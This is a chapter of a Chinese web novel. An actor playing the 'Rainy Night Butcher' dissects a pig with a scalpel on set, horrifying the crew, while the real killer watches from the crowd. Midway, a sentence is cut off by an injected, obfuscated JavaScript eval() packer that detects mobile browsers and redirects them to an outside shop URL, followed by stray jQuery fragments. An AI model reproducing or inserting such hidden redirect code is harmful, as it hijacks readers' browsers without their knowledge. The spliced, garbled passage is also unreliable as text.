“这一场戏，我要的是残忍。”
片场，导演张谋拿着大喇叭，唾沫星子横飞。
他指着场地中央那张不锈钢案台。
案台上，放着半扇刚运来的猪肉。皮肉粉红，骨头森白，看着就有一股生腥气。
“苏哲，你现在的身份是‘雨夜屠夫’。你不需要狰狞，不需要大吼大叫。”
张谋盯着苏哲，眼神狂热，“我要的是那种把生命当成草芥的漠视！你面对的不是肉，是艺术品！懂吗？”
苏哲站在案台前，没说话。
他今天穿了一件白衬衫，袖口挽到手肘，露出线条流畅的小臂。鼻梁上架着那副金丝眼镜，整个人看起来斯文到了极点。
如果不看那扇猪肉，谁都会以为他是个刚下课的大学讲师。
“道具组！刀呢？”张谋喊了一嗓子。
道具师老王赶紧跑过来，手里捧着一个托盘。
托盘里放着一把剔骨刀，一把**，还有一把……极薄的手术刀。
老王是个三十多岁的汉子，干这行十几年了，见惯了各种血浆道具。他把托盘往苏哲面前一递，嘿嘿一笑：“苏老师，您挑一把顺手的。这猪肉我刚去屠宰场拉回来的，新鲜着呢，骨头硬，您小心崩了刃。”
苏哲低头看了一眼。
脑海里，系统提示音清脆响起。
【检测到表演需求：极致的解剖。】
【正在调用技能：人体解剖学（LV2·艺术版）。】
【正在加载肌肉记忆……】
一瞬间。
苏哲的眼神变了。
原本那种慵懒、随意的神色消失得无影无踪。取而代之的，是一种绝对的冷静，甚至可以说是一种非人的冷漠。
他没有选那把厚重的**，也没有拿那把常用的剔骨刀。
他伸出修长的手指，轻轻捏起了那把手术刀。
“这把？”老王愣了一下，“苏老师，这把刀太薄了，切皮还行，卸骨头肯定不行……”
苏哲没理他。
他捏着手术刀，在空中轻轻转了一个刀花。
银光一闪。
“开始。”苏哲淡淡地吐出两个字。
张谋一挥手：“Action！”
镜头推进。
全场死寂。
苏哲动了。
他没有像屠夫那样大开大合地挥刀，也没有用力去砍砸。
他就像是在弹钢琴，或者是在进行一场精密的钟表维修。
手术刀的刀尖，轻轻抵在了猪肉的关节处。
呲——
一声极其细微的轻响。
刀锋切入皮肉，就像是热刀切进黄油，没有丝毫阻碍。
苏哲的手腕轻轻一抖。
那把薄薄的手术刀，竟然顺着骨头的缝隙钻了进去。
没有血水飞溅。
没有骨头碎裂的脆响。
只有那种令人牙酸的、刀锋刮过骨膜的细微摩擦声。
沙沙。
沙沙。
苏哲的表情专注而温柔。他看着那扇猪肉的眼神，就像是在看自己的情人。
他的动作优雅得不像话。
每一刀下去，都精准地避开了血管的大动脉（虽然猪已经**，但在他眼里这就是活体），避开了最坚硬的骨骼。
他是顺着肌理在游走。
他在解构这块肉。
站在旁边的老王，原本还抱着膀子准备看笑话。
觉得苏哲这种小鲜肉，肯定连骨头缝都找不着，最后还得靠剪辑。
但看着看着，老王的脸色变了。
他瞪大了眼睛，嘴巴微张，喉结上下滚动了一下。
“这……这特么……”
老王是个老道具，也见过法医干活。
但他从来没见过这么干活的！
苏哲的手太快了，也太稳了。
那把手术刀在他手里仿佛有了生命。
啪嗒。
一块完整的肩胛骨被剔了下来，上面竟然连一丝肉丝都没挂，光洁得像是被狗舔过一样。
啪嗒。
又是一块腿骨。
接着是排骨。
苏哲甚至没有用手去掰，只是用刀尖轻轻一挑，那些骨头就自己“脱落”了。
整个过程，不到三分钟。
原本半扇完整的猪肉，此刻变成了一堆摆放得整整齐齐的肉块，和一堆干干净净的骨头。
红白分明。
秩序井然。
这种极致的秩序感，在满是生肉腥气的片场里，显得诡异而恐怖。
苏哲停手了。
他拿起一块白布，慢条斯理地擦拭着手术刀上的油脂。
然后，他抬起头，透过镜片，看向镜头。
嘴角微微上扬，露出一抹满足的微笑。
“完美。”
他轻声说道。
那一瞬间。
站在旁边的热芭，腿一软，直接瘫坐在了地上。
她捂着嘴，眼里全是惊恐。
刚才苏哲那个眼神……
让她觉得，自己好像也变成了一块待宰的肉，随时会被他拆解成零件。
“呕——！”
一声剧烈的呕吐声打破了死寂。
是道具师老王。
这个见惯了恐怖片道具的汉子，此刻脸色惨白，扶着案台，吐得胆汁都要出来了。
不是因为恶心。
是因为恐惧。
是一种生理性的、对于“同类相食”般技巧的本能恐惧。
他看着那堆整齐的肉块，心理防线彻底崩了。
这特么哪里是切肉啊！
这分明就是在**啊！
而且是那种杀了几百个、杀出了心得、杀出了艺术感的变态！
“卡！卡！卡！”
张谋激动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034461|194610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得从椅子上跳了起来，连耳机都被扯掉了。
“太棒了！太特么棒了！”
张谋冲进场内，看着案台上的“杰作”，又看了看还在擦手的苏哲，眼神里既有兴奋又有畏惧。
“苏哲，你……你以前学过医？”
苏哲摘下一次性手套，随手扔进垃圾桶。
那种令人窒息的压迫感，瞬间消失了。
他又变回了那个慵懒的顶流。
“没学过。”
苏哲整理了一下袖口，语气平淡，“就是平时喜欢做饭。”
做饭？
全剧组的人都看着他，眼神怪异。
谁家做饭是用手术刀剔骨头的？
谁家做饭能把骨头剔得跟标本一样？
苏哲似乎没感觉到周围气氛的诡异。
他摸了摸肚子，看向还在干呕的老王，温和地问道：
“王哥，这肉切都切好了。”
“晚上剧组加餐吗？红烧肉挺不错的。”
老王听到“红烧肉”三个字，胃里又是一阵翻江倒海。
“呕——！”
他摆着手，一脸惊恐地后退：“不……不吃！打死我也不吃！”
周围的工作人员也疯狂摇头。
开什么玩笑！
看了刚才那一幕，谁还吃得下肉？
这苏哲……太邪门了！
直播间的弹幕已经炸了。
“**！我跪着看完了全程！”
“这刀工……新东方毕业的吧？”
“神特么新东方！新东方教你用手术刀杀猪？”
“刚才道具师都吐了！这压迫感绝了！”
“苏哲最后那个笑……我今晚要做噩梦了。”
“只有我觉得他问‘吃红烧肉吗’的时候最恐怖吗？”
“+1！简直就是汉尼拔在世！”
苏哲有些遗憾地耸了耸肩。
“可惜了，这么好的肉。”
他转身走向休息区。
就在苏哲坐下休息，闭目养神的时候。
片场的角落里。
一个穿着剧组场务马甲，戴着鸭舌帽的男人，正默默地注视着苏哲。
男人手里拿着一瓶矿泉水，指甲缝里有些黑泥。
他压低了帽檐，遮住了那双浑浊发黄的眼睛。
刚才苏哲解剖猪肉的全过程，他都看在眼里。
“呵……”
男人喉咙里发出一声低沉的笑声。
“行家啊。”
他舔了舔干裂的嘴唇，眼神里闪过一丝兴奋的光芒。
这不就是他一直在寻找的“完美搭档”吗？
男人左右看了看，见没人注意，便悄悄地朝着苏哲的方向挪了过去。
他不是群演。
他是昨天晚上，苏哲在雨夜里遇到的那个“同行”。
真正的A级通缉犯——雨夜屠夫。
他混进来了。